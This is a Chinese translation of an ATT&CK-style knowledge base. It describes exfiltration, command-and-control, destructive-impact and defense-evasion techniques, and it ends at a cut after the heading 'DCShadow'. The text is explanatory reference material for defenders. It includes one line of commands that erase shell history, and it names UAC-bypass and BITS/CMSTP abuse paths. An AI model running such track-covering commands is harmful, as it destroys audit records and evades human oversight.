在完成信息聚集后,敏感文档等数据可能会通过使用自动化处理或脚本来实现被窃取。 当进行自动化数据泄漏时,通常也会使用其他数据泄漏技术来将信息传出网络,例如命令与控制通道上的数据泄漏和备用协议上的数据泄漏。

数据压缩

攻击者可以压缩在渗漏之前收集的数据(例如,敏感文档),以使其更轻便并最小化通过网络发送的数据量。压缩独立于数据渗漏通道进行,并使用自定义程序或算法,或更常见的压缩库或工具(如 7zip,RAR,ZIP 或 zlib)执行。

数据加密

在进行数据渗漏之前加密数据,以便隐藏被窃取的信息,避免被检测到。或者在防御者审查时使本次窃取更加隐蔽。加密由工具,编程库或数据的自定义算法执行,并且独立于命令与控制或文件传输协议执行的任何加密。可以加密文件的通用文件存档格式是 RAR 和 zip。 通常也会使用其他数据渗漏技术来将信息传出网络,例如命令与控制信道上的数据渗漏和备用协议上的数据渗漏。

数据传输大小限制

攻击者可以以固定大小的块而不是整个文件来窃取数据,或者将数据包大小限制在特定阈值内。该方法可避免触发网络数据传输阈值的告警。

备用协议上的数据渗漏

使用与主要命令与控制协议或信道不同的协议执行数据窃取。数据很可能从主要命令与控制服务器发送到备用网络位置。备用协议包括 FTP,SMTP,HTTP/S,DNS 或其他一些网络协议。不同信道可以包括 Internet Web 服务,如云存储。 命令与控制信道上的数据渗漏 在命令与控制信道上进行数据渗漏。使用与命令与控制通信相同的协议将数据编码到正常通信通道中。

在其他网络媒介上数据渗漏

数据渗漏有可能发生在不同的网络媒介上,而不是命令与控制信道。如果命令与控制网络是有线因特网连接,那么可以通过例如 WiFi 连接,调制解调器,蜂窝数据连接,蓝牙或其他射频(RF)信道窃取数据。如果攻击者对目标具有足够的访问权限或距离够近,他可以选择执行此操作,并且该连接可能不会像主互联网连接信道一样安全,因为它没有通过同一企业网络路由。

物理介质上的数据渗漏

在某些情况下,例如气隙网络攻击,可以通过用户引入的物理介质或设备窃取数据。这些媒体可以是外部硬盘驱动器、USB驱动器、移动电话、MP3播放器或其他可移动存储和处理设备。物理介质或设备可以用作最终的溢出点,或作为其他未相连系统之间的跳转。

计划传输

数据渗漏可以仅在一天的特定时间或以特定间隔进行。这样可以将流量模式与正常活动或使用混合。 当有计划地进行数据渗漏时,通常也会使用其他渗漏技术来将信息传出网络,例如命令与控制信道上的数据渗漏和备用协议的数据渗漏。

命令与控制

命令与控制(Command and Control)策略表示攻击者如何与目标网络内的受控的系统进行通信。根据系统配置和网络拓扑,攻击者可以通过多种方式建立具有各种隐蔽级别的命令与控制。由于网络级别攻击者可以获得的广泛变化,只使用最常见的因素来描述命令与控制的差异。在所记录的方法中仍然有许多特定的技术,主要是由于对通信定义新协议,使用已有的合法协议和网络服务很容易。 由此产生的细分应该有助于传达这样一个概念,即在没有先验知识的情况下在长期中通过命令与控制协议检测入侵很困难。攻击者在网络级防御避免方面的主要限制在于,当使用帮助快速更改其协议,了解现有防御技术以及访问合法的 Web 服务的测试和部署工具时,很难将攻击者的工具与良性流量区分开来。 其主要包含的战术内容如下:

常用端口

攻击者可以通过常用端口进行通信,以绕过防火墙或网络检测系统,并混在正常的网络活动中以规避详细的检查。他们可以使用常用的开放端口,例如 - TCP: 80 (HTTP) - TCP:443(HTTPS) - TCP:25(SMTP) - TCP/UDP:53 (DNS) 他们可以使用与端口相关或完全不同的协议。 对于在 enclave 内部发生的连接(例如代理或主节点与其他节点之间的连接),常见端口的示例如下 - TCP/UDP:135 (RPC) - TCP/UDP:22 (SSH) - TCP/UDP:3389 (RDP)

通过可移动媒体进行通信

攻击者可以在可能断开连接的网络上使用可移动媒体,在受攻击主机之间执行命令与控制,从而将命令从一个系统传输到另一个系统。这两个系统都需要被攻陷,通常 internet 连接的系统先被攻破,其次通过可移动媒体复制 (Replication Through Removable Media) 的横向移动(攻破第二个系统)。命令和文件将从断开连接的系统被传送到攻击者可以直接访问的联网系统。

连接代理

连接代理用于在系统之间引导网络流量或充当网络通信的中介。有许多工具支持通过代理或端口重定向进行流量重定向,如 HTRAN、ZXProxy 和 ZXPortMap。 还可以扩展代理的定义,使其包含网络之间点对点,网状的信任关系,或由定期彼此通信的主机或系统组成的网络之间的可信连连接。 网络可以位于单个组织内,也可以跨互相信任的组织。攻击者可以使用这些类型的关系来管理命令与控制通信,减少同时出站的网络连接的数量,在连接丢失时提供弹性,或者利用受害者之间现有的可信通信路径来避免怀疑。

自定义命令与控制协议

攻击者可以使用自定义命令与控制协议进行通信,而不是在现有的标准应用层协议中封装命令/数据。实现的协议包括模仿众所周知的协议或在 TCP/IP / 其他标准网络栈 提供的基本协议之上开发自定义协议(包括原始套接字)。

自定义加密协议

攻击者可以使用自定义加密协议或算法来隐藏命令控制流量。简单的方案如用固定密钥对明文进行异或,产生很弱的密文。 自定义加密方案的复杂程度会有不同。恶意软件样本的分析和逆向工程可能足以发现所使用的算法和加密密钥。 一些攻击者还会尝试自己实现知名的加密算法,而不是使用已知的实现库,这可能导致无意的错误。

数据编码

命令与控制 (C2) 信息使用标准数据编码系统进行编码。数据编码可以遵循现有的协议规范,包括使用 ASCII、Unicode、Base64、MIME、UTF-8 或其他二进制转为文本和字符编码系统。一些数据编码系统也可能导致数据压缩,如 gzip。

数据混淆

隐藏命令与控制(C2)通信(但不一定加密)以使内容更难以被发现或解密,并使通信和命令更加隐蔽。这包括许多方法,例如将垃圾数据添加到协议流量,使用隐写术,将合法流量与 C2 通信流量混合,或使用非标准数据编码系统,如针对 HTTP 请求消息体的修改的 Base64 编码。

域前置

域前置利用内容分发网络 (CDNs) 和其他托管多个域的服务中的路由方案来混淆 HTTPS 流量或通过 HTTPS 隧道传输的流量的预期目的地。 该技术在 TLS 报头的 SNI 字段和 HTTP 报头的 Host 字段中使用不同的域名。 如果两个域名来自相同的 CDN,那么 CDN 可以在打开 TLS 报头后路由到 HTTP 报头中指定的地址。 该技术的变体“domainless”前置使用空白的 SNI 字段;即使 CDN 试图验证 SNI 和 HTTP Host 字段是否匹配(如果忽略空白 SNI 字段),前置也可以工作。 例如,如果域名 x 和域名 y 是同一个 CDN 的客户,可以将域名 x 放在 TLS 报头中,域名 y 放在 HTTP 报头中。 流量看起来会流向域名 x,但是 CDN 可能将其路由到域名 y。

备用信道

如果首选信道被攻击或无法访问,攻击者可以使用备用通信信道,以便维持可靠的命令与控制并避免数据传输受限。

多级信道

攻击者可以为不同条件或特定功能使用的命令与控制创建多级信道。利用多级可能会混淆命令与控制信道,使检测更加困难。 远程访问工具将调用第一级的命令与控制服务器获取指令。 第一级可以自动收集主机基本信息、更新工具和上传其他文件。 然后可以上传第二个远程访问工具 (RAT),将主机重定向到第二级命令与控制服务器。 第二级会有更完善的功能,允许攻击者通过一个反向 shell 和额外的 RAT 功能与系统进行交互。 不同级可能会独立托管,没有重叠的基础设施。加载程序还会有第一级回调备用或备用信道,以防初始的第一级通信路径被发现并阻塞。

多跳代理

为了隐藏恶意流量的来源,攻击者可能会将多个代理连接在一起。通常,防御者能够识别在进入他们的网络之前通过的最后一个代理流量;但他们可能无法识别在最后一跳之前的其他代理。这种技术使识别恶意流量的原始来源变得更加困难,因为它要求防御者通过多个代理跟踪恶意流量以识别其来源。

多频带通信

一些攻击者会对不同协议之间的通信进行切分。通信时可以有一个用于入站命令与控制的协议,和一个允许出站数据绕过某些防火墙限制的协议。也可以随机切分通信来简单避免通信时的数据阈值告警。

多层加密

攻击者使用多层加密来执行 C2 通信,通常(但不完全)在协议加密方案(如 HTTPS 或 SMTPS) 中隧道化自定义加密方案。

端口试探

端口试探是一种较为成熟的技术,目的是隐藏开放的端口以控制访问,攻击者和防御者均可使用。 为了启用端口,攻击者需发送一系列具有特定特征的数据包。 通常,这些数据包包含关闭端口预定义的尝试序列(译者注:称为敲门序列),这可能涉及不常见的标志、特定的字符串或其他特征。 完成序列,通常由基于主机的防火墙开启端口,但也可以由自定义软件打开。 在动态开启监听端口和在不同系统上启动与监听服务器的连接时,都可以见到该技术。 可以通过不同的方法观察引发通信的数据包。 一种方法(最初由 Cd00r 实现)是使用 libpcap 库嗅探有问题的包。 另一种方法利用了原始套接字,这使得恶意软件可以使用供其他程序使用的开放端口。

远程访问工具

攻击者可以使用合法的桌面支持和远程访问软件,如 Team Viewer、Go2Assist、LogMein、AmmyyAdmin 等,建立与网络内目标系统交互的命令与控制信道。 这些服务通常用作合法的技术支持软件,并且可以在目标环境中列入白名单。 与其他合法软件相比,攻击者经常使用 VNC、Ammy 和 Teamviewer 等远程访问工具。 可以建立远程访问工具,并将其用作冗余访问 (Redundant Access) 的备用通信信道,或作为与目标系统建立交互式远程桌面会话的一种方式。 它们也可以作为恶意软件的组成部分,用于建立反向连接或后台连接到服务或攻击者控制的系统。 TeamViewer 等管理工具已被多个团体用于俄罗斯政府感兴趣的国家机构和犯罪活动。

远程文件复制

攻击者在操作过程中,可以将文件从一个系统复制到另一个系统以暂存攻击者的工具或其他文件。 可以通过命令与控制信道从外部攻击者控制系统复制文件,从而将工具放入受害者网络,或通过与 FTP 等其他工具的备用协议复制。 也可以使用 scp,rsync 和 sftp 等本机工具在 Mac 和 Linux 上复制文件。 攻击者还可以在内部受害者系统之间横向复制文件,以支持使用固有文件共享协议进行远程执行的横向移动,例如通过 SMB 与连接的网络共享或使用 Windows 管理员共享或远程桌面协议的经过身份验证的连接进行文件共享。

标准应用层协议

攻击者可以使用通用的标准化应用层协议(如 HTTP,HTTPS,SMTP 或 DNS)进行通信,以通过与现有通信流混合来避免检测。远程系统的命令,一般还有命令的执行结果,将嵌入到客户端与服务器之间的协议流量中。 对于在 enclave 内部发生的连接(例如代理或主节点与其他节点之间的连接),常用的协议有 RPC, SSH, or RDP.

标准密码协议

攻击者可以明确地使用已知的加密算法来隐藏命令与控制流量,而不是依赖于通信协议提供的任何固有保护。尽管使用了安全算法,但如果必需的密钥是在恶意软件样本/配置文件中编码和/或生成的,那么这些实现可能容易被逆向出来。

标准非应用层协议

在主机和 C2 服务器之间或在网络中受感染的主机之间使用标准的非应用层协议进行通信。涉及到协议很广。 具体示例包括网络层协议如 Internet 控制消息协议 (ICMP)、传输层协议如用户数据报协议 (UDP)、会话层协议如套接字安全协议 (SOCKS),以及重定向/隧道协议如 LAN 上的串行协议 (SOL)。 主机之间的 ICMP 通信就是一个例子。因为 ICMP 是 Internet 协议套件的一部分,需要由所有兼容 ip 的主机实现;但它不像 TCP 或 UDP 等其他 Internet 协议那样经常受到监视,可以被攻击者来隐藏通信。

不常用端口

攻击者可以通过非标准端口进行 C2 通信,以绕过未正确配置的代理和防火墙。

Web 服务

攻击者可以使用现有的合法外部 Web 服务将命令转发到受攻击系统。 这些命令还可以包括指向命令与控制 (C2) 基础结构的指针。攻击者可能会在带有嵌入式(通常是混淆/编码的)域名或 IP 地址的 Web 服务上发布内容,即所谓的死点解析器。一旦感染,受害者就会主动接触这些解析器,并被它们重新引导。 作为 C2 机制的流行网站和社交媒体可能会提供大量的掩护,因为在达成攻击之前,网络中的主机可能已经在与它们进行通信。使用常见的服务,比如 Google 或 Twitter 提供的服务,可以让攻击者更容易地隐藏在预期的干扰中。Web 服务提供者通常使用 SSL/TLS 加密,这为攻击者提供了额外的保护。 使用 Web 服务还可以通过恶意软件二进制分析保护后端 C2 基础设施不被发现,同时还可以支持操作弹性(因为这个基础设施可能会动态更改)。

域生成算法

攻击者可以利用域生成算法(DGA)来动态标识命令和控制流量的目的地,而不是依赖于静态IP地址或域的列表。这样做的好处是,防御者很难阻止,跟踪或接管命令和控制通道,因为恶意软件可能会检查成千上万个域,以检查指令。 DGA通过生成每个字母来构造域名时,可以采取看似随机或“乱码”字符串的形式(例如:istgmxdejdnxuyla.ru)。另外,某些DGA通过将单词(而不是字母)串联在一起来使用整个单词作为单位(例如:cityjulydish.net)。许多DGA基于时间,在每个时间段(每小时,每天,每月等)生成一个不同的域。其他一些也包含种子值,这使得防御者很难预测未来的领域。 攻击者可能出于后备渠道(T1008)的目的而使用DGA 。当失去与主要命令和控制服务器的联系时,恶意软件可能会使用DGA作为重新建立命令和控制的手段。

Impact 简介

影响包括攻击者用来通过操纵业务和运营流程来破坏可用性或损害完整性的技术。用于影响的技术可以包括破坏或篡改数据。在某些情况下,业务流程可能看起来不错,但可能已进行了更改以使对手的目标受益。攻击者可能会使用这些技术来实现其最终目标,或为违反保密性提供掩护。 其主要包含的战术内容如下:

帐户访问权限删除

攻击者可能会禁止访问合法用户使用的帐户,从而中断系统和网络资源的可用性。可以删除,锁定或操纵帐户(例如更改凭据)以删除对帐户的访问。 攻击者还可能随后注销和/或重新启动框以将恶意更改设置到位

数据销毁

攻击者可能破坏特定系统上或网络上的大量数据和文件,从而中断系统,服务和网络资源的可用性。数据销毁可能会通过覆盖本地或远程驱动器上的文件或数据而通过法医技术使存储的数据无法恢复常见的操作系统文件删除命令,例如del并且rm通常仅删除指向文件的指针而不会擦除文件本身的内容,从而通过适当的取证方法可恢复文件。此行为不同于“ 磁盘内容擦除”和“ 磁盘结构擦除” 因为销毁了单个文件,而不是销毁了存储磁盘的部分或磁盘的逻辑结构。 攻击者可能会尝试使用随机生成的数据覆盖文件和目录,以使其无法恢复。在某些情况下,用于政治目的的图像文件已被用来覆盖数据。 为了在以网络范围内的可用性中断为目标的运营中最大程度地影响目标组织,旨在破坏数据的恶意软件可能具有蠕虫般的功能,可以利用有效帐户,凭据转储和Windows Admin Shares等其他技术在网络中传播。

加密数据以产生影响

攻击者可能会加密目标系统或网络中大量系统上的数据,以中断系统和网络资源的可用性。他们可以尝试通过加密本地和远程驱动器上的文件或数据并保留对解密密钥的访问来使存储的数据无法访问。这样做是为了从受害者那里获得金钱补偿,以换取解密或解密密钥(勒索软件),或者在未保存或传输密钥的情况下永久无法访问数据。对于勒索软件,通常会对常见用户文件(如Office文档,PDF,图片,视频,音频,文本和源代码文件)进行加密。在某些情况下,对手可能会加密关键的系统文件,磁盘分区和MBR。 为了最大限度地提高对目标组织的影响,设计用于加密数据的恶意软件可能具有蠕虫般的功能,可以利用有效的帐户,凭据转储和Windows管理员共享等其他攻击技术在网络上传播。

毁损

对手可能会修改企业网络内部或外部可用的视觉内容。毁损的原因包括传递消息,恐吓或要求入侵(可能是虚假的)信用。

磁盘内容擦除

攻击者可能会擦除特定系统以及网络中大量系统上存储设备的内容,从而中断系统和网络资源的可用性。 攻击者可能会部分或完全覆盖存储设备的内容,从而使数据无法通过存储接口恢复。具有破坏性意图的对手可能会擦除磁盘内容的任意部分,而不是擦除特定的磁盘结构或文件。为了擦除磁盘内容,攻击者可以直接访问硬盘驱动器,以便用随机数据覆盖磁盘大小任意的部分。已经观察到对手利用RawDrive等第三方驱动程序直接访问磁盘内容。

此行为与数据销毁不同,因为磁盘的某些部分而不是单个文件被擦除了。 为了在以网络范围的可用性中断为目标的运营中最大限度地提高对目标组织的影响,用于擦除磁盘内容的恶意软件可能具有蠕虫般的功能,可以利用有效帐户,凭据转储和Windows Admin等其他技术在网络上传播。股份。

磁盘结构擦除

攻击者可能会损坏或擦除引导系统所需的硬盘驱动器上的磁盘数据结构;针对特定的关键系统以及网络中的大量系统,以中断对系统和网络资源的可用性。 攻击者可能试图通过覆盖位于主引导记录(MBR)或分区表等结构中的关键数据来使系统无法引导。磁盘结构中包含的数据可以包括用于加载操作系统或磁盘上文件系统分区位置的初始可执行代码。如果不存在此信息,则计算机将无法在引导过程中加载操作系统,从而使计算机不可用。磁盘结构擦除可以单独执行,也可以与磁盘内容擦除一起执行(如果磁盘的所有扇区都已擦除)。 为了最大限度地提高对目标组织的影响,旨在破坏磁盘结构的恶意软件可能具有蠕虫般的功能,可以通过利用其他技术(例如有效帐户,凭据转储和Windows管理员共享)在网络中传播。

终端式拒绝服务 Endpoint Denial of Service

攻击者可能执行端点拒绝服务(DoS)攻击,以降低或阻止用户获得服务。可以通过耗尽那些服务所在的系统资源或利用系统导致持续的崩溃状况来执行端点DoS。示例服务包括网站,电子邮件服务,DNS和基于Web的应用程序。观察到对手出于政治目的并支持其他恶意活动,包括分散注意力
,黑客行为和勒索,而进行DoS攻击。 端点拒绝服务拒绝服务的可用性,而不会饱和用于提供对该服务访问权限的网络。攻击者可以针对托管在用于提供服务的系统上的应用程序堆栈的各个层。这些层包括操作系统(OS),服务器应用程序(例如Web服务器,DNS服务器,数据库)以及位于它们之上的(通常是基于Web的)应用程序。攻击每一层需要不同的技术,以利用各个组件特有的瓶颈。DoS攻击可能是由分布在Internet上的单个系统或多个系统生成的,通常称为分布式DoS(DDoS)。 为了对端点资源执行DoS攻击,有几个方面适用于多种方法,包括IP地址欺骗和僵尸网络。 攻击者可能会使用攻击系统的原始IP地址,也可能会欺骗源IP地址,从而使攻击流量更难追溯到攻击系统或进行反射。通过减少或消除通过网络防御设备上的源地址进行过滤的有效性,这可能会增加防御者防御攻击的难度。 僵尸网络通常用于对网络和服务进行DDoS攻击。大型僵尸网络可以从遍布全球互联网的系统中产生大量流量。攻击者可能有足够的资源来构建和控制自己的僵尸网络基础结构,也可以租用现有僵尸网络上的时间进行攻击。在DDoS的一些最坏情况下,使用了如此多的系统来生成请求,每个系统只需要发出少量流量即可产生足够的容量来耗尽目标资源。在这种情况下,将DDoS流量与合法客户端区分开变得非常困难。僵尸网络已用于一些最引人注目的DDoS攻击,例如2012年针对美国主要银行的一系列事件。 在使用流量操纵的情况下,全局网络(例如高流量网关路由器)中可能会存在一些可以更改数据包的点,并使合法客户端执行将网络数据包大量定向到目标的代码。以前,这种类型的功能用于网络审查,其中客户端HTTP流量已修改为包括对JavaScript的引用,该JavaScript生成了DDoS代码以淹没目标Web服务器。

固件损坏

攻击者可能会覆盖或破坏连接到系统的设备中的系统BIOS或其他固件的闪存内容,以使其无法操作或无法启动。固件是从硬件设备上的非易失性存储器加载并执行的软件,以初始化和管理设备功能。这些设备可能包括主板,硬盘驱动器或视频卡。

禁止系统恢复

攻击者可能会删除或删除内置的操作系统数据,并关闭旨在帮助恢复已损坏系统以防止恢复的服务。操作系统可能包含有助于修复损坏的系统的功能,例如备份目录,卷影副本和自动修复功能。攻击者可能会禁用或删除系统恢复功能,以增强“数据销毁”和“ 加密影响力”的效果。

网络拒绝服务

攻击者可能执行网络拒绝服务(DoS)攻击,以降低或阻止目标资源对用户的可用性。网络DoS可以通过耗尽服务所依赖的网络带宽来执行。示例资源包括特定的网站,电子邮件服务,DNS和基于Web的应用程序。观察到对手出于政治目的并支持其他恶意活动,包括分散注意力,黑客行为和勒索,而进行网络DoS攻击。 当针对该资源或该资源所依赖的网络连接和网络设备的恶意流量很大时,当与系统的网络连接的带宽容量耗尽时,将发生网络DoS。例如,一个对手可能会向服务器托管的服务器发送10Gbps的流量,该服务器由与互联网建立1Gbps连接的网络托管。此流量可以由遍布Internet的单个系统或多个系统生成,通常称为分布式DoS(DDoS)。已经观察到实现这种网络饱和的许多不同方法,但是大多数方法可分为两大类:直接网络泛洪和反射放大。 要执行网络DoS攻击,有几个方面适用于多种方法,包括IP地址欺骗和僵尸网络。 攻击者可能会使用攻击系统的原始IP地址,也可能会欺骗源IP地址,从而使攻击流量更难追溯到攻击系统或进行反射。通过减少或消除通过网络防御设备上的源地址进行过滤的有效性,这可能会增加防御者防御攻击的难度。 僵尸网络通常用于对网络和服务进行DDoS攻击。大型僵尸网络可以从遍布全球互联网的系统中产生大量流量。攻击者可能有足够的资源来构建和控制自己的僵尸网络基础结构,也可以租用现有僵尸网络上的时间进行攻击。在DDoS的一些最坏情况下,使用了太多的系统来生成洪灾,每个系统仅需要发出少量流量即可产生足够的流量来使目标网络饱和。在这种情况下,将DDoS流量与合法客户端区分开变得非常困难。僵尸网络已用于一些最引人注目的DDoS攻击,例如2012年针对美国主要银行的一系列事件。

资源劫持

对手可能会利用增补系统的资源,以解决可能影响系统和/或托管服务可用性的资源密集型问题。 资源劫持的一个常见目的是验证加密货币网络的交易并获得虚拟货币。对手可能会消耗足够的系统资源,从而对受影响的计算机造成负面影响和/或使它们失去响应。服务器和基于云的系统是常见的目标,因为可用资源的潜力很大,但是用户端点系统也可能受到威胁,并用于资源劫持和加密货币挖掘。

运行时数据处理

攻击者可能会修改系统,以便在数据被访问并显示给最终用户时对其进行处理。通过操纵运行时数据,对手可能会尝试影响业务流程,组织理解和决策。 对手可能会更改用于显示数据的应用程序二进制文件,以引起运行时操纵。对手也可能会进行“ 更改默认文件关联”和“ 伪装”,以产生类似的效果。修改的类型及其影响取决于目标应用程序和过程以及对手的目标和目的。对于复杂的系统,对手可能需要特殊的专业知识,并且可能需要访问与该系统相关的专用软件,这通常是通过长时间的信息收集活动来获得的,以产生所需的影响。

服务停止

对手可能会停止或禁用系统上的服务,以使合法用户无法使用这些服务。停止关键服务可能会抑制或停止对事件的响应,或者有助于对手的总体目标,从而对环境造成破坏。 攻击者可以通过禁用对组织非常重要的单个服务来实现此目的,例如MSExchangeIS,这将使Exchange内容不可访问。在某些情况下,对手可能会停止或禁用许多或所有服务,从而使系统无法使用。服务可能不允许在运行时对其数据存储进行修改。对手可能会停止服务,以便对Exchange和SQL Server等服务的数据存储区进行数据销毁或加密处理,以对数据存储产生影响。

存储数据操作

对手可能会插入,删除或操纵静态数据,以便操纵外部结果或隐藏活动。通过操纵存储的数据,对手可能会尝试影响业务流程,组织理解和决策。 存储的数据可以包括多种文件格式,例如Office文件,数据库,存储的电子邮件和自定义文件格式。修改的类型及其所产生的影响取决于数据的类型以及对手的目的和目标。对于复杂的系统,对手可能需要特殊的专业知识,并且可能需要访问与该系统相关的专用软件,这通常是通过长时间的信息收集活动来获得的,以产生所需的影响。

系统关机/重启

攻击者可以关闭/重启系统,以中断对这些系统的访问或帮助破坏这些系统。操作系统可能包含用于启动计算机关闭/重新引导的命令。在某些情况下,这些命令还可用于启动远程计算机的关闭/重新启动。关闭或重新启动系统可能会干扰合法用户对计算机资源的访问。 攻击者可能会以其他方式(例如磁盘结构擦除或禁止系统恢复)影响系统后,尝试关闭/重新引导系统,以加快对系统可用性的预期影响。

传输数据操作

攻击者可以更改数据到存储或其他系统的路径,以操纵外部结果或隐藏活动。通过操纵传输的数据,对手可能会尝试影响业务流程,组织理解和决策。 可以通过网络连接或在系统进程之间进行操纵,其中有机会部署将拦截和更改信息的工具。修改的类型及其影响取决于目标传播机制以及对手的目的和目标。对于复杂的系统,对手可能需要特殊的专业知识,并且可能需要访问与该系统相关的专用软件,这通常是通过长时间的信息收集活动来获得的,以产生所需的影响。

前言

防御规避包括攻击者可能用来逃避检测或避免其他防御的技术。有时,这些行为与其他类别的技术相同或不同,这些技术还可以破坏特定防御或缓解措施。防御规避可被视为攻击者应用到操作的所有其他阶段的一组属性。

篡改访问令牌

Windows使用访问令牌来确定正在运行的进程的所有权。用户可以操纵访问令牌以使正在运行的进程看起来像它属于启动该进程的用户以外的其他人。发生这种情况时,该过程还将采用与新令牌关联的安全性上下文。例如,Microsoft提倡使用访问令牌作为安全性最佳实践。管理员应以标准用户身份登录,但使用内置访问令牌操作命令以管理员权限运行其工具runas。 攻击者可以使用访问令牌在不同的用户或系统安全性上下文下进行操作,以执行操作并逃避检测。攻击者可以使用内置的Windows API函数来复制现有进程中的访问令牌。这被称为令牌窃取。对手必须已经在特权用户上下文(即管理员)中才能窃取令牌。但是,攻击者通常使用令牌窃取将其安全上下文从管理员级别提升到SYSTEM级别。如果帐户对远程系统具有适当的权限,则对手可以使用令牌作为该令牌的帐户向远程系统进行身份验证。

BITS 作业

Windows 后台智能传输服务 (BITS) 是一种低带宽、异步的文件传输机制,通过组件对象模型 (COM) 供外部调用。 更新程序、消息传递程序和其他应用程序通常使用 BITS 进行后台操作(使用可用的空闲带宽),不会中断其他联网应用程序。 文件传输任务实现为 BITS 作业,它包含一个或多个文件操作的队列。 可以通过 PowerShell 和 BITSAdmin 工具访问创建和管理 BITS 作业的接口。 攻击者可能会滥用 BITS 来下载、执行,甚至在运行恶意代码后清理痕迹。 BITS 任务在 BITS 作业数据库中是自包含的,不需要新文件或修改注册表,而且通常被主机防火墙允许。 了 BITS 启用执行还可以通过创建长期作业(默认最大生存期为 90 天,可延长)或在作业完成或出现错误(包括系统重新启动后)时调用任意程序来实现持久化 (Persistence )。 BITS 上传功能也可以用于在备用协议上进行数据渗漏 (Exfiltration Over Alternative Protocol)。

二进制填充

某些安全工具会检查具有静态签名的文件以确定它们是否是恶意的。攻击者可以向文件添加数据,使其大小超过安全工具能够处理的最大大小,或者更改文件散列以绕过基于散列的黑名单检查。

绕过用户帐户控制

Windows 用户帐户控制 (UAC) 使程序可以通过提示用户进行确认来提升权限,从而在管理员权限下执行任务。对用户的影响包括强制拒绝操作,允许用户执行操作(如果用户在本地管理员组中并单击提示符),或允许用户输入管理员密码以完成操作。 如果计算机的 UAC 保护级别设置为最高级别以外的任何级别,则特定 Windows 程序可以提升特权或执行某些提升的 COM 对象,而不会通过 UAC 通知框提示用户。 这方面的一个例子是使用 rundll32.exe 加载特制的 DLL,它加载自动提权的 COM 对象并在受保护的目录中执行文件操作,这通常需要提升访问权限。恶意软件也可以被注入到受信任的进程中,从而在不提示用户的情况下获得更高的权限。如果目标进程不受保护, 攻击者可以使用这些技术将权限提升为管理员。 已发现许多绕过 UAC 的方法。UACMe 的 Github readme 页面包含已在 UACMe 中发现和实施的广泛的方法列表 ,但可能不是全面的绕过列表。经常发现其他的旁路方法,其中一些在民间使用,如: eventvwr.exe 可以自动提权并执行指定的二进制文件或脚本。 如果已知具有管理员权限的帐户的凭据,则可以通过横向移动技术进行绕过,因为 UAC 是单系统安全机制,并且在系统上运行的进程的权限或完整性对于横向系统是未知的,默认为高完整性。

CMSTP

Microsoft 连接管理器配置文件安装程序 (CMSTP.exe) 是用于安装连接管理器服务配置文件的命令行程序。 CMSTP.exe 接受安装信息文件 (INF) 作为参数,并安装用于远程访问连接的服务配置文件。 攻击者可以将感染恶意命令的 INF 文件传给 CMSTP.exe。 类似于 Regsvr32 /“Squiblydoo”,攻击者可能滥用 CMSTP.exe 从远程服务器加载和执行 DLL 和/或 COM scriptlet (SCT)。 该执行也可以绕过 AppLocker 和其他白名单防御。因为 CMSTP.exe 是一个合法的、Microsoft 签名应用程序。 CMSTP.exe 还可能被滥用于绕过用户帐户控制,并通过自动提升的 COM 接口执行来自恶意 INF 的任意命令。

清除的命令历史记录

macOS 和 Linux 都会记录用户在终端中输入的命令,以便用户能够轻松地记住做过的事情。可以通过几种不同的方式访问这些日志。在登录时,此命令会被记录在环境变量 HISTFILE 指向的文件中。当用户从系统中注销时,该记录被写入到用户主目录一个称为、~/.bash_history 的文件中。这样做的好处是使用户能够追溯到以前在不同会话中使用过的命令。由于所有在命令行上键入的内容都会保存,因此也会包括在命令行上传递的密码。攻击者可以滥用这点从这些文件中搜索明文密码。此外,攻击者可以使用多种方法来避免自己的命令出现日志中,比如命令 unset HISTFILE, export HISTFILESIZE=0, history -c, rm \~/.bash_history.

代码签名

代码签名为来自开发人员的二进制文件提供了一定程度的真实性,并保证该文件没有被篡改。 然而,已知攻击者会使用代码签名证书来将恶意软件和工具伪装成合法的二进制文件 。 操作中使用的证书可能是由攻击者创建、伪造或窃取的。 可在现代 Windows 和 macOS/OS X 系统上使用代码签名,在软件首次运行时进行验证。 由于该技术的去中心化特性,它没有在 Linux 上使用。 代码签名证书可用于绕过需要签名代码才能在系统上执行的安全策略。

已编译的 HTML 文件

已编译的 HTML 文件 (.chm) 通常作为 Microsoft HTML 帮助系统的一部分分发。 CHM 文件是各种内容(如 HTML 文档、图像)和编程语言相关的脚本/web(如 VBA、JScript、Java 和 ActiveX) 的压缩编译。 CHM 内容使用由 HTML 帮助可执行程序 (hh.exe) 加载的 Internet Explorer 浏览器 的底层组件显示。 攻击者可能会滥用这项技术来隐藏恶意代码。 将包含嵌入式有效载荷的自定义 CHM 文件交付给受害者,然后通过用户执行 (User Execution) 触发。 CHM 的执行也可以绕过旧系统和/或未打补丁的系统上的应用程序白名单,这些系统不考虑通过 hh.exe 执行二进制文件。

组件固件

攻击者可以使用多个具有不同命令与控制协议的远程访问工具来规避检测。 如果一种类型的工具被检测到并被屏蔽或删除,而组织没有完全了解攻击者的工具和访问权限,那么攻击者将能够维持对网络的访问权限。 攻击者还可能试图获得对有效帐户的访问权,以使用外部远程服务(如外部 vpn) 来维护访问权限,尽管目标网络中部署的远程访问工具会受到干扰。 可以使用 Web Shell 来通过外部可访问的 Web 服务器维持对某一网络的访问权限。

组件对象模型劫持

组件对象模型 (COM) 是 Windows 中的一个系统,它支持软件组件之间通过操作系统交互。 攻击者可以使用该系统插入恶意代码,这些代码可以通过劫持 COM 引用和关系作为持久化的手段来代替合法软件执行。 劫持 COM 对象需要更改 Windows 注册表,以替换对合法系统组件的引用,这可能导致该组件在执行时无法正常工作。 当该系统组件通过正常的系统操作执行时,攻击者的代码将被执行。 攻击者很可能劫持那些经常使用的对象,以保持一致的持久性,但不太可能破坏系统中的明显功能,避免系统不稳定而触发检测。

控制面板项

Windows 控制面板项是允许用户查看和调整计算机设置的实用程序。 控制面板项是已注册的可执行文件 (.exe) 或控制面板文件 (.cpl),后者实际上被重命名为动态链接库 (.dll) 文件,导出 CPlApplet 函数。 控制面板项可以直接从命令行执行,也可以通过应用程序编程接口 (API) 调用以编程方式执行,或者只需双击文件即可。 为了便于使用,控制面板项在完成注册并加载到控制面板后,通常包括用户可用的图形菜单。 攻击者可以使用控制面板项作为执行有效载荷来执行任意命令。 恶意控制面板项可以通过以鱼叉式钓鱼附件 (Spearphishing Attachment ) 的方式 传递或作为多级恶意软件的一部分执行。 控制面板项,特别是 CPL 文件,也可以绕过应用程序和/或文件扩展名白名单。

DCShadow

